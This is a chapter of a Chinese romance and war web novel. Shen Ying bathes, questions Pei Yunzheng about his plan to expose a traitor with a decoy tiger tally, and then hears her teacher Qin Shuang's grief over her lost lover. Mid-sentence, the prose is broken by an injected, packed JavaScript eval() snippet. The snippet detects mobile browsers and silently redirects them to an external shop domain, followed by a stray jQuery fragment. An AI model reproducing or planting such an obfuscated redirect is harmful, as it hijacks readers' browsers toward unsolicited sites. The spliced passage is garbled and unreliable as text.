沈缨靠在他肩头,思绪尚未完全回笼。
裴云峥垂眸,见她这副怔忪模样,心头泛起一阵柔软,指腹轻轻擦过她唇角,低头凑近她耳畔,嗓音压低:“若还是不信,我只好换一种方式证明了。”
那语气里的意味昭然若揭,甚至夹杂着暗示的邀请。
沈缨倏然回神,一把将他推开,耳根已经烧得透红。
“我信了。”她尽量让自己的声音听起来镇静,目光却躲闪着不敢看他。
裴云峥低笑一声,到底没有再逗她:“离天亮还有一阵,要不要再歇一会儿?”
“不必了。”沈缨摇头,连日奔波,此刻精神虽已缓过来,身上却还黏腻着尘土汗渍,她低头看了一眼自己脏兮兮的衣衫,“我想洗漱。”
裴云峥命人抬了一只浴桶进来,放在屋角。
“条件简陋,只能这样将就。”他亲自试了水温,又添了一瓢热水,“衣裳稍后有人送来。”
沈缨走到桶边,伸手探了探,水温恰到好处,连日奔波的疲令她恨不得立刻跳进去。
她欲宽衣解带,余光却瞥见旁边那道纹丝不动的身影,动作顿住:“你……回避一下?”
这间屋子简陋至极,连一扇遮挡的屏风都没有。
裴云峥闻言眉梢一挑,靠在墙边,好整以暇地看着她:“夫妻间沐浴需要回避吗?再者我若不在一旁看着,万一你晕在水里怎么办?”
沈缨面无表情地盯着眼前的男人。
他是中邪了吗?离了王府一趟怎么好像换了一个人似的,没脸没皮的。
“……你出去。”她说。
裴云峥没有立刻动,目光在她脸上停了一瞬,确认她并非真的生气,才弯了弯唇角,转身推门出去:“我在外面,有事叫我。”
门关上,沈缨褪下脏透的衣裳,踏入浴桶,热水漫过肩颈,缓解了酸痛与不适,每一寸关节都舒展开来。
她闭上眼靠在浴桶边缘,长舒一口气。
门外,裴云峥负手而立,听着屋内隐隐的水声。
身后传来脚步声,张措快步走近,低声汇报:“王爷,消息已经按您吩咐的散播出去了。”
裴云峥拍了拍他的肩:“做得好。”
得到夸赞,张措脸上却并无喜色,反而忧心忡忡:“可属下觉得赵志敬必定不会轻易相信,况且叛徒尚在他们身边,迟早会寻到这里。”
“怕什么?如今我要的就是藏在暗处的人主动现身。”裴云峥侧首,漆黑夜色下他的眼神极具压迫感,“张措,你在我手下也很多年了,若那叛徒是你相识之人,你可会手软?”
被他这样注视着,张措的心突突跳了一下,垂首抱拳:“属下只忠于王爷,但凡背叛王爷的人,即便是昔日手足,也绝不姑息。”
裴云峥对这个答案似乎不怎么意外,收回目光,眺望远处烽火,良久,才再次开口:“去检查巡逻的队伍。”
“遵命。”张措应了一声,转身离去。
屋内,水声渐止。
沈缨在热水中泡得太久,险些又睡过去,直到一阵叩门声将她惊醒。
是我。”裴云峥的声音从门外传来,紧接着门被推开一道窄缝,一只手探进来,指尖勾着一叠干净衣裳,“换洗的衣裳,你先穿着。”
水声哗啦一响,她从浴桶中站起,带着水珠的手臂探过去,精准无误地握住他的手掌,接过了那一叠衣物。
门重新合拢,沈缨换好衣裳后走出去,看见裴云峥坐在门口的台阶上。
四周漆黑寂静,只有点点星光。
他披着外袍,袖口随意卷到小臂,露出一截缠着绷带的手腕,他抬头望着夜空,整个人像融在夜色里。
沈缨走过去,在他身边坐下:“现在,我们可以谈谈那些事吗?”
“想问什么?”
“之前在军营,你是真的毫无准备被人偷袭,还是……那本就是你计划中的一环?”
身旁的人安静了一瞬:“为何这么问?”
沈缨保持着与他相同的姿势,望着夜空:“你之前同我说过军中有叛徒,你向来是一个未雨绸缪的人,我想你不会轻易遭人暗算,而且你命张措找到我后带我来这里,而非大营,说明你早就知道那里会沦陷。”
裴云峥笑了一声:“被你看穿了,你猜的没错,叛徒与敌人里应外合瓮中捉鳖,这在军中很常见,我确实早有预料。”
“从何时开始的?”沈缨侧过头,“我们成婚前你时常不见人影的那段时间,亦或是……更早?”
“更早。”裴云峥轻声,“在春蒐之后,他派来一帮刺客欲取我性命,我总要回他一份大礼。”
沈缨明白他指的是裴景桓。
她低下头,湿发垂落肩头,夜风迎面拂来,激起一阵凉意。
“虎符的事,是真是假?”
“是假,那夜他们从书房偷走的是假的,我让人提前放在那里的。”
他犹豫了一瞬,还是如实回答,“私藏虎符,罪名滔天,对他而言是最好的饵。对我而言……王府有一名眼线,这也是揪出那人最好的时机。”
原来如此。
绿歌冒死潜入书房险些丧命,被她连夜送出魏国,她以为那是生死攸关,从头到尾却只是一枚饵。
她以为她在救人,其实只是在推他的棋。
沈缨垂下眼,不知作何反应。
明明在前一刻,她还在为他的平安而感到庆幸,他们紧紧相拥诉说相思,情意绵绵。
沈缨深吸一口气,问他:“我也是你计划中的一环吗?”
“不是。”裴云峥答得很果断,他转过身来,执起她的手,“我从未想过让你牵扯进来,更没想过把你一个人留在王府独自面对。”
“我提前嘱咐过秦霜,若有任何意外就带你离开,可我没有料到,你竟会冒险前来寻我。”
他的目光定在她脸上,坦荡而郑重,“我算计过许多,唯独你不在其中。”
沈缨回握住他的手:“我知道,我没有怪你的意思。”
她没有任何立场去责怪他,毕竟在这场戏中,她欺瞒了更多。
“我明白你的为难。”
天边浮现一缕微光,夜幕正缓缓退去,沈缨看着那道渐亮的晨曦,忽然觉得有些话再不说出口,也许就再无机会了。
她看着眼前的人,下定决心般开口:“其实我……”
“王爷,东边有异动!”一个哨兵突然跑过来,打断了他们的谈话。
裴云峥捏了捏她的手指:“我去看看,很快回来。”
沈缨点头,目送他的背影融入渐亮的天光中,她在原地坐了片刻,起身往秦霜的房间走去。
屋里整洁干净,却没有人。
她叫住一个路过的小兵,问道:“有看见秦霜吗?”
对方指了指营地边缘的哨塔。
沈缨心领神会,小心翼翼沿着木梯爬上去,一抬头便看见一道身影背对她坐在塔顶边缘,衣袍被风吹得猎猎作响。
“师傅。”
秦霜膝上放在那把长剑,正在认真擦拭,听见她的声音也未回头。
“过来坐。”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714375|202861||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拍了拍身侧的位置,待人坐下后,她伸出手,指向远处,“你看。”
沈缨顺着她的手指看过去,远处雾气缭绕,山峦起伏,朝阳自天边缓缓升起,驱散晨雾,金光洒落在峰顶,壮丽恢宏。
“刚入军营时,我常被派去放哨,最喜欢的就是这一刻,第一缕朝阳落在肩头,”秦霜在她耳畔道,“明亮、温暖,仿佛世间什么烦恼都一起消失。”
“可此刻你的烦恼似乎没有消失。”沈缨看向她膝上的剑,“这把剑是旁人赠给你的吗?”
秦霜低头,手指在剑鞘上缓缓抚过:“算是吧。”
“要与我说说吗?我虽然不太会安慰人,但还算一个不错的倾听者。”沈缨道,“有些事憋在心里太久,会像旧伤复发,越来越痛。”
秦霜沉默半晌后抬起头,长叹一声,目光悠远:“那些事太久远了,我竟不知从何说起。”
“想到什么便说什么,师傅讲故事的本领可是一流的。”
秦霜闻言不禁莞尔,看向她,忽然发问:“你为何想习武?”
沈缨想了想,答:“我想保护自己和身边的人。”
“我最初与你的想法差不多。”秦霜轻声,“我是在土匪窝长大的,没爹没娘,被土匪头子收养。他每次下山都会带回来一堆财宝,还会给我带一件玩具,那些东西堆满了我的房间,我那时没有意识到,那是抢夺。”
“十岁那年,我偷溜下山,跟在他身后,亲眼看见他拦住了一辆过路的马车,车上有妇人,有小孩,衣衫寒酸,应该是逃难的,男人主动献出全部家当,求他饶妻儿一命。”
她顿了顿,声音微微发颤,“可他一刀砍断了他的脖子,然后是他的妻子。”
沈缨呼吸一紧,伸手覆上她的手背。
秦霜低头看了一眼她的手,继续道:“后来我才明白,在世人眼中,他和他的兄弟无恶不作,可那时他对我说,他是在救那一家人。他们胆小懦弱迟早会死,不如在他的刀口下往生极乐。”
“我看着马车里那个与我年龄相仿的孩子,提起刀砍向了他,那是我第一次杀人,为了救人。不过我没能杀得了他,他让我滚,后来我学了一身功夫,再回那个土匪窝时,是协助官府清剿,再后来,我去参了军,在军中遇见了这把剑的主人。”
“谢荣安?”沈缨猜到了什么。
秦霜点头,目光哀伤。
初入军营,她立功心切,每一次作战都冲在前头,以斩获敌首为荣。
谢荣安枪法卓绝,又从敌阵中救过她,她对他倾慕得坦荡而热烈那样直白地追了许久,竟也追到了。
他们并肩作战,打了许多胜仗,互许终身,约定走遍天下,看便山河。
“但北方战事告急,那时我和他赌气,也为了证明自己……”
她毅然决然参战,那一战尤为惨烈,派出去的兵马几乎全军覆没,她中了敌人的埋伏,谢荣安像初遇那次一样赶来营救。
“我活了下来,他却死了。”
秦霜忽然紧紧攥住剑柄,呼吸急促起来,沈缨看不见她的脸,只觉得她的肩膀在微微发抖。
“从天黑到天亮,我爬上哨塔,抱着他的剑,脚下满地尸体,朋友的,敌人的,堆成了山,血把土地染红,天亮了,没有一个人醒过来……”
她仰起头,没有哭出声,但一滴泪顺着她的下颌落下去,砸在剑鞘上。
沈缨倾身过去,将她紧紧抱住。
“我明明想救很多人,却不知不觉间杀了更多人,害死了亲人,爱人,我和我爹一样,罪大恶极……”